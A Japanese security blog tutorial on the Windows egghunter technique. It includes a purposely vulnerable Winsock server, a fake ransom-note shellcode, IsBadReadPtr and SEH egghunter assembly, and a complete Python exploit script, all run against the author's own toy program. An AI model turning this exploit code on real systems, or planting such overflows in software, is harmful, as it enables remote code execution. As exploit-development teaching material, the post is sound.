ラック・セキュリティごった煮ブログ

セキュリティエンジニアがエンジニアの方に向けて、 セキュリティやIT技術に関する情報を発信していくアカウントです。

【お知らせ】2021年5月10日~リニューアルオープン!今後はこちらで新しい記事を公開します。

株式会社ラックのセキュリティエンジニアが、 エンジニアの方向けにセキュリティやIT技術に関する情報を発信するブログです。(編集:株式会社ラック・デジタルペンテスト部)
当ウェブサイトをご利用の際には、こちらの「サイトのご利用条件」をご確認ください。

デジタルペンテスト部提供サービス:ペネトレーションテスト

Egghunterについて学んでみた

はじめに

はじめまして、DP部新人のもたもたです。

今でこそフレームワークの充実やOS側の防御が充実し、あまり見ることがなくなった感のあるバッファオーバーフロー脆弱性ですが、たまに見つかってしまうとRCEの可能性のある危険なものであることに変わりはありません。

そんなバッファオーバーフローにはバッファの大きさ、位置、OS側の防御策などによってさまざまなテクニックが存在しています。

今回はあえてレガシーなものを調べてみたくなったので、その内のひとつ、egghunterというテクニックについて解説していきたいと思います。

準備

まずバッファオーバーフローが発生するコードを用意していきます。
vulnserverなど、既にあるものを使うのもいいのですが、今回はバッファオーバーフローの包括的な勉強を兼ねたかったこともあって簡単なコードを自分で作成しました。

Winsock サーバー コードの完了 - Win32 apps | Microsoft Learn

をベースとしています。

#undef UNICODE

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
// Need to link with Ws2_32.lib #pragma comment (lib, "Ws2_32.lib") // #pragma comment (lib, "Mswsock.lib") #pragma warning(disable : 4996) #define DEFAULT_BUFLEN 4096 #define DEFAULT_PORT "27015" int do_recv_act(char*, char*); //受け取ったバッファに関し、 int do_check_act(char*, char*); int do_act(char*, char*); int main(void) { char buf1[800] = "\0"; char buf2[800] = "\0"; do_recv_act(buf1, buf2); if (do_check_act(buf1,buf2)==1) { do_act(buf1, buf2); printf("%s\n",buf1); } else { printf("second buffer unconsistent\n"); } } int do_check_act(char* buffer1, char* buffer2) { //buf2の最初から一定bufferが正しい値(A)で埋められていることを確認する。 for (int i = 0; i < 60; i++) { if (buffer2[i] != 'A') { return -1; } } return 1; } int do_act(char* buffer1, char* buffer2) { //打ち間違いを起こしたとする。 char buf4[60] = "\0"; strncpy(buf4, buffer2, 160); return 1; } int __cdecl do_recv_act(char* buffer1, char* buffer2) { WSADATA wsaData; int iResult; SOCKET ListenSocket = INVALID_SOCKET; SOCKET ClientSocket = INVALID_SOCKET; struct addrinfo* result = NULL; struct addrinfo hints; int iSendResult; char recvbuf[DEFAULT_BUFLEN]; int recvbuflen = DEFAULT_BUFLEN; // Initialize Winsock iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) { printf("WSAStartup failed with error: %d\n", iResult); return 1; } ZeroMemory(&hints, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; // Resolve the server address and port iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); if (iResult != 0) { printf("getaddrinfo failed with error: %d\n", iResult); WSACleanup(); return 1; } // Create a SOCKET for the server to listen for client connections. ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); if (ListenSocket == INVALID_SOCKET) { printf("socket failed with error: %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; } // Setup the TCP listening socket iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); if (iResult == SOCKET_ERROR) { printf("bind failed with error: %d\n", WSAGetLastError()); freeaddrinfo(result); closesocket(ListenSocket); WSACleanup(); return 1; } freeaddrinfo(result); iResult = listen(ListenSocket, SOMAXCONN); if (iResult == SOCKET_ERROR) { printf("listen failed with error: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } // Accept a client socket ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("accept failed with error: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } // No longer need server socket closesocket(ListenSocket); // Receive until the peer shuts down the connection do { //本来のshellcodeを書き込む printf("first buffer / place shellcode\n"); iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); if (iResult > 0) { printf("Bytes received: %d\n", iResult); printf("got buffer:%s", recvbuf); //senderへと応答を返す strncpy(buffer1, recvbuf, 800); iSendResult = send(ClientSocket, "placed shellcode", 17, 0); if (iSendResult == SOCKET_ERROR) { printf("send failed with error: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } printf("Bytes sent: %d\n", iSendResult); //egghunterを書き込む printf("second buffer / place egghunter\n"); iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); if (iResult > 0) { printf("Bytes received: %d\n", iResult); printf("got buffer:%s", recvbuf); // Echo the buffer back to the sender iSendResult = send(ClientSocket, "placed egghunter\n", 18, 0); if (iSendResult == SOCKET_ERROR) { printf("send failed with error: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } strncpy(buffer2,recvbuf,800); printf("Bytes sent: %d\n", iSendResult); } else if (iResult == 0) printf("Connection closing...\n"); else { printf("recv failed with error: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } } else if (iResult == 0) printf("Connection closing...\n"); else { printf("recv failed with error: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } } while (iResult > 0); // shutdown the connection since we're done iResult = shutdown(ClientSocket, SD_SEND); if (iResult == SOCKET_ERROR) { printf("shutdown failed with error: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } // cleanup closesocket(ClientSocket); WSACleanup(); return 0; }

このプログラムはsocketを開き、二回に分けて入力を受け付ける仕組みとなっています。
しかし、一回目の受信バッファは直接バッファオーバーフローを起こすことはなく、二回目の受信バッファは60バイト分がAで埋められるプロトコルとなっているため、残り160-60=100バイト程度で実行したいshellcodeを作らなければなりません。
今回実行したいshellcodeは以下のようになります。

xor eax,eax  
push eax  
push 0x29736573  
push 0x6f707275  
push 0x70206c61  
push 0x746e656d  
push 0x69726570  
push 0x78652072  
push 0x6f662065  
push 0x67617373  
push 0x656d2065  
push 0x6b616620  
push 0x61207369  
push 0x20736968  
push 0x54203a65  
push 0x746f4e28  
push 0x20212179  
push 0x6f6a6e65  
push 0x202e6572  
push 0x65682064  
push 0x65696669  
push 0x63657073  
push 0x20746e75  
push 0x6f636361  
push 0x20656874  
push 0x206f7420  
push 0x30303124  
push 0x20726566  
push 0x736e6172  
push 0x74206573  
push 0x61656c70  
push 0x202c6e6f  
push 0x69747079  
push 0x72636e65  
push 0x20676e69  
push 0x6b636168  
push 0x20656874  
push 0x2065766f  
push 0x6d657220  
push 0x6f742073  
push 0x7520746e  
push 0x61772075  
push 0x6f792066  
push 0x49202020  
push 0x2e64656b  
push 0x63616820  
push 0x73692072  
push 0x65747570  
push 0x6d6f6320  
push 0x72756f59  
push 0x20202e72  
push 0x656b6361  
push 0x68206d27  
push 0x49202c6f  
push 0x6c6c6548  
push esp 
mov eax,0xffeeeff0 //アプリケーション内のprintf関数を指す
neg eax 
call eax 

成功すると、以下のような脅迫文章がコンソールに出力される仕組みです。

Hello, I'm hacker.  Your computer is hacked.   If you want us to remove the hacking encryption, please transfer $100 to the account specified here. enjoy!! (Note: This is a fake message for experimental purposes)

(本当はMessageBox APIを使いたかったのですがなぜか機能せず...やむなく、あまり良いことではないのですが今回は名前解決などをパスしてアプリケーション内のprintfを使わせてもらうこととしました。PCが普段から使用している自前なのでmeterpreterなどはさすがに...ですし)

これは全部合わせて278バイトとなっており、ただoverflowを起こすだけでshellcodeに到達するのは難しくなっています。
ここから実行に持っていくには様々な手法がありますが、今回はegghunterを用います。

環境

windows11 10.0.22621 
実行ファイル:32bit、DEPをoff

関数のアドレスなどは既知、スタック上の各変数の相対距離は未知という設定で行っていきます。

fuzzing

まず、fuzzingを行っていきます。
msf-pattern-createで作成した文字列を以下のように送信します。

s.send(b"A"*60+b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")

windbgでクラッシュ時のデバッグをした結果が以下です。

eipを上書きした値は61413161であり、msf-pattern-offsetで調べると、オフセットは4と分かります。なので、60個のAから4バイト進んだ先のアドレスがeipに代入されることになります。

ここでeipを"jmp esp"命令を持つアドレスで書き換えることで、自分で渡したアセンブリコードへと実行を移すことができます。

しかし、Aで埋め尽くされて残る領域長は100バイトもなく、200バイトを超える脅迫文shellcodeを直接書き込むことはできません。そこで登場するテクニックがegghunterです。

egghunter

egghunterはeggと呼ばれる特定の文字列を目印としてメモリ領域全体を走査し、shellcodeを見つけて実行する短いコードとなります。今回は一回目の受信の際に受け取ったbufferがメモリ上に残るため、ここにeggとshellcodeを仕込み、そこまで辿り着ければ任意のshellcodeを実行することができます。

一つ目のバッファは、以下のような形式になりました。

malicious_code=b"\x31\xc0\x50\x68\x73\x65\x73\x29\x68\x75\x72\x70\x6f\x68\x61\x6c\x20\x70\x68\x6d\x65\x6e\x74\x68\x70\x65\x72\x69\x68\x72\x20\x65\x78\x68\x65\x20\x66\x6f\x68\x73\x73\x61\x67\x68\x65\x20\x6d\x65\x68\x20\x66\x61\x6b\x68\x69\x73\x20\x61\x68\x68\x69\x73\x20\x68\x65\x3a\x20\x54\x68\x28\x4e\x6f\x74\x68\x79\x21\x21\x20\x68\x65\x6e\x6a\x6f\x68\x72\x65\x2e\x20\x68\x64\x20\x68\x65\x68\x69\x66\x69\x65\x68\x73\x70\x65\x63\x68\x75\x6e\x74\x20\x68\x61\x63\x63\x6f\x68\x74\x68\x65\x20\x68\x20\x74\x6f\x20\x68\x24\x31\x30\x30\x68\x66\x65\x72\x20\x68\x72\x61\x6e\x73\x68\x73\x65\x20\x74\x68\x70\x6c\x65\x61\x68\x6f\x6e\x2c\x20\x68\x79\x70\x74\x69\x68\x65\x6e\x63\x72\x68\x69\x6e\x67\x20\x68\x68\x61\x63\x6b\x68\x74\x68\x65\x20\x68\x6f\x76\x65\x20\x68\x20\x72\x65\x6d\x68\x73\x20\x74\x6f\x68\x6e\x74\x20\x75\x68\x75\x20\x77\x61\x68\x66\x20\x79\x6f\x68\x20\x20\x20\x49\x68\x6b\x65\x64\x2e\x68\x20\x68\x61\x63\x68\x72\x20\x69\x73\x68\x70\x75\x74\x65\x68\x20\x63\x6f\x6d\x68\x59\x6f\x75\x72\x68\x72\x2e\x20\x20\x68\x61\x63\x6b\x65\x68\x27\x6d\x20\x68\x68\x6f\x2c\x20\x49\x68\x48\x65\x6c\x6c\x54\xb8\xf0\xef\xee\xff\xf7\xd8\xff\xd0"
s.send(b"gotagota"+b"\x90"*10+malicious_code+b"\x90"*100)

この時、"gotagota"が目印となるeggとなります。

しかし問題として、メモリ走査の過程で読み込み可能属性を持たないメモリ領域にアクセスしてしまうAccess Violationが発生してしまいます。これをうまく処理できなければ、実行が途中で停止してしまいます。

これを対処する手法は大きく分けて二種類存在します。

手法1:APIを用いて領域への読み込みの可否を調べ、可能だったアドレスだけを探索する

Windowsにはメモリ領域に対する読み込みができるかを確認できるAPIやシステムコールが存在しています。
今回はIsBadReadPtr関数を用います。この関数は引数として与えられたアドレスに対し、読み出しが可能であるかを返すものです。

この関数を利用したegghunterのコードは以下のようになります。

実装にあたっては、egghunt-shellcode.pdf (hick.org)の解説が大いに参考になりました。

 start:
    xor ecx,ecx   //ecxはアドレスを表すレジスタ。
 refresh_page: 
  or cx,0x0fff  //inc ecxと合わせることで、読み込み可能なら1、読み込み不可能なら1000ずつecxを増やす。
 page_can_touch: 
    inc ecx   
    push 0x8  
    push ecx     
  push 7620ce40h  //IsBadReadPtrのアドレス
    pop ebx   
  call ebx  //関数呼び出し
    sub esp,0x8   
    pop ecx  
  cmp  al, 1     //0ならページ読み込みが可能、1なら不可能
    je  refresh_page 
 search_egg: 
  mov edx, 0x61746f6D  //motamota
  cmp [ecx], edx
    jne page_can_touch  
    add ecx,4  
    cmp  [ecx], edx  
    jne page_can_touch  
 execute_code: 
    add ecx,4  
    jmp ecx  

しかし、実際にこのegghunterを送信し、64bitOSを使ってターミナル上で実行するとハングアップしてしまいました。

また、デバッガを使って原因を特定しようとすると、ある程度探索が進んだあたりでstack overflowを発生させて操作を受け付けなくなることがほとんどでした。

一応、ecxレジスタを操作してある程度近くまで実行フローを持っていくとちゃんとコードに到達してくれるのですが...

今回は手法1を諦め、手法2を試みました。


手法2:SEH(構造化例外処理)を利用して領域読み込みの際に発生する例外を捕捉し、正しい実行フローへと戻す

windowsは例外を処理する際に、例外チェーンというものを作成しています。これの実体はEXCEPTION_REGISTRATION_RECORDという構造体で作られた以下のようなリンクリストです。

 

例外が起きるとプログラムはTIBに記された最初のEXCEPTION_REGISTRATION_RECORDに飛び、さらにhandlerに記されたアドレスの処理を実行します。

その後nextに記された次のEXCEPTION_REGISTRATION_RECORDに飛び...といった動作を繰り返して問題を解決します。

この例外チェーンの一番最初にあたるEXCEPTION_REGISTRATION_RECORD構造体(図中でいう00eff97c)の存在するアドレスは、fsレジスタが示す値を用いてプログラムのどこからでも参照できます。

そしてEXCEPTION_REGISTRATION_RECORDは二つのアドレスを持つ構造体であり、実体としては連続するアドレス2つに過ぎないので簡単に偽造することができてしまいます。

なので、自分で作成したshellcodeアドレスをhandlerとして持つEXCEPTION_REGISTRATION_RECORD構造体で本来のリンクリストが始まるアドレスを上書きして強制的に例外処理を登録し、読み取り例外が起きたときに自分のコードに戻ってこれるようにするというのが、SEHを用いたegghunterの原理です。

https://github.com/epi052/osed-scripts/blob/main/egghunter.py

を参考に、自分で書いてみたのが以下のコードとなります。参考にしたものよりややサイズが大きくなっており、自分の未熟さが分かります...

順序が少し変わるだけで色々考えなければならないことが増えました。

start: //egghunter開始
     jmp setup_caller
setup_seh: //例外ハンドラを作成する。
       pop ebx 
     push ebx //handler: " push 0x0c "の位置を指す
     push -1  //next:fffffff
       xor eax,eax       
     mov fs:[eax],esp //exceptionの登録         
     sub ebx, 0x04  //exception handlerに発生する位置の制約を回避するための計算
       add eax, 0x04  
       mov dword ptr fs:[eax], ebx  
start_hunt:
     xor ecx,ecx  //ecxはアドレスを表すレジスタ。  
refresh_page:
     or cx,0x0fff // inc ecxと合わせることで、読み込み可能なら1、読み込み不可能なら1000ずつecxを増やす。
inc_one:
       inc ecx
search_egg: 
     mov edx, 0x61746f6D  //motamota
       cmp [ecx], edx 
       jne inc_one 
       add ecx,4  
  cmp  [ecx], edx
       jne inc_one  
execute_code: 
       add ecx,4  
       jmp ecx  
setup_caller: //seh handlerを作成する関数を呼び出すための関数。
       call setup_seh   
deal_mem_error: //例外発生時に呼び出される関数。Contextオブジェクトからeipを取得し変更することで、元の実行フローに戻れるようにする。
       push 0x0c 
       pop ebx  
       mov eax,[esp+ebx]
       mov bl,0xb8 
sub dword ptr ds:[eax+ebx], 0x0b
       pop eax 
       add esp, 0x10
       push eax
       xor eax,eax 
       ret        

これを送信することで、shellcodeの実行を観測することができました。

最後に、exploit全体のソースコードを示します。

import socket
import sys
from struct import pack

def main():
        if len(sys.argv) != 2:
                print("lack of argument!" % (sys.argv[0]))
                sys.exit(1)

        server = sys.argv[1]
        port = 27015
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        #実行したい脅迫文shellcode
malicious_code=b"\x31\xc0\x50\x68\x73\x65\x73\x29\x68\x75\x72\x70\x6f\x68\x61\x6c\x20\x70\x68\x6d\x65\x6e\x74\x68\x70\x65\x72\x69\x68\x72\x20\x65\x78\x68\x65\x20\x66\x6f\x68\x73\x73\x61\x67\x68\x65\x20\x6d\x65\x68\x20\x66\x61\x6b\x68\x69\x73\x20\x61\x68\x68\x69\x73\x20\x68\x65\x3a\x20\x54\x68\x28\x4e\x6f\x74\x68\x79\x21\x21\x20\x68\x65\x6e\x6a\x6f\x68\x72\x65\x2e\x20\x68\x64\x20\x68\x65\x68\x69\x66\x69\x65\x68\x73\x70\x65\x63\x68\x75\x6e\x74\x20\x68\x61\x63\x63\x6f\x68\x74\x68\x65\x20\x68\x20\x74\x6f\x20\x68\x24\x31\x30\x30\x68\x66\x65\x72\x20\x68\x72\x61\x6e\x73\x68\x73\x65\x20\x74\x68\x70\x6c\x65\x61\x68\x6f\x6e\x2c\x20\x68\x79\x70\x74\x69\x68\x65\x6e\x63\x72\x68\x69\x6e\x67\x20\x68\x68\x61\x63\x6b\x68\x74\x68\x65\x20\x68\x6f\x76\x65\x20\x68\x20\x72\x65\x6d\x68\x73\x20\x74\x6f\x68\x6e\x74\x20\x75\x68\x75\x20\x77\x61\x68\x66\x20\x79\x6f\x68\x20\x20\x20\x49\x68\x6b\x65\x64\x2e\x68\x20\x68\x61\x63\x68\x72\x20\x69\x73\x68\x70\x75\x74\x65\x68\x20\x63\x6f\x6d\x68\x59\x6f\x75\x72\x68\x72\x2e\x20\x20\x68\x61\x63\x6b\x65\x68\x27\x6d\x20\x68\x68\x6f\x2c\x20\x49\x68\x48\x65\x6c\x6c\x54\xb8\xf0\xef\xee\xff\xf7\xd8\xff\xd0" s.send(b"gotagota"+b"\x90"*10+malicious_code+b"\x90"*100) print(s.recv(1024).decode("utf-8")) #s.send(b"A"*60+b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq") buf=b"A"*60 buf+= b"\x90"*4 buf+= pack("<L", (0x774b5ba0)) buf+= b"\x90"*1 #seh egghunter=b"\xeb\x2f\x5b\x53\x6a\xff\x31\xc0\x64\x89\x20\x83\xeb\x04\x83\xc0\x04\x64\x89\x18\x31\xc9\x66\x81\xc9\xff\x0f\x41\xba\x67\x6f\x74\x61\x39\x11\x75\xf6\x83\xc1\x04\x39\x11\x75\xef\x83\xc1\x04\xff\xe1\xe8\xcc\xff\xff\xff\x6a\x0c\x5b\x8b\x04\x1c\xb3\xb8\x83\x2c\x18\x0b\x58\x83\xc4\x10\x50\x31\xc0\xc3" print(len(egghunter)) buf+=egghunter s.send(buf) print(s.recv(1024).decode("utf-8")) s.close() print("[+] Packet sent") sys.exit(0) if __name__ == "__main__": main()

メリット/デメリット

メリットとしては、ROPなどと比べるとコードの使いまわしがしやすいことが考えられます。jmp espなどは必要ですが、egghunterと比べるとshellcode部分はほとんど使いまわすことができます。

デメリットとしてはDEPがあると使えない、SEHを使うコードの場合はSafeSEHで無効にされるなどの制約があることでしょうか。

最後に

今回はwindowsでegghunterを試しました。

egghunterに限らずバッファオーバーフローやshellcode自体が初めに述べた通りあまり使われない感はありますが、それでもこういったややレガシーめな技術には独特の工夫があり、学んでいてとても楽しかったです。

またshell-stormなどを見ていると、他にも面白いshellcodeがたくさんありますので、ぜひご覧になってみてはいかがでしょうか。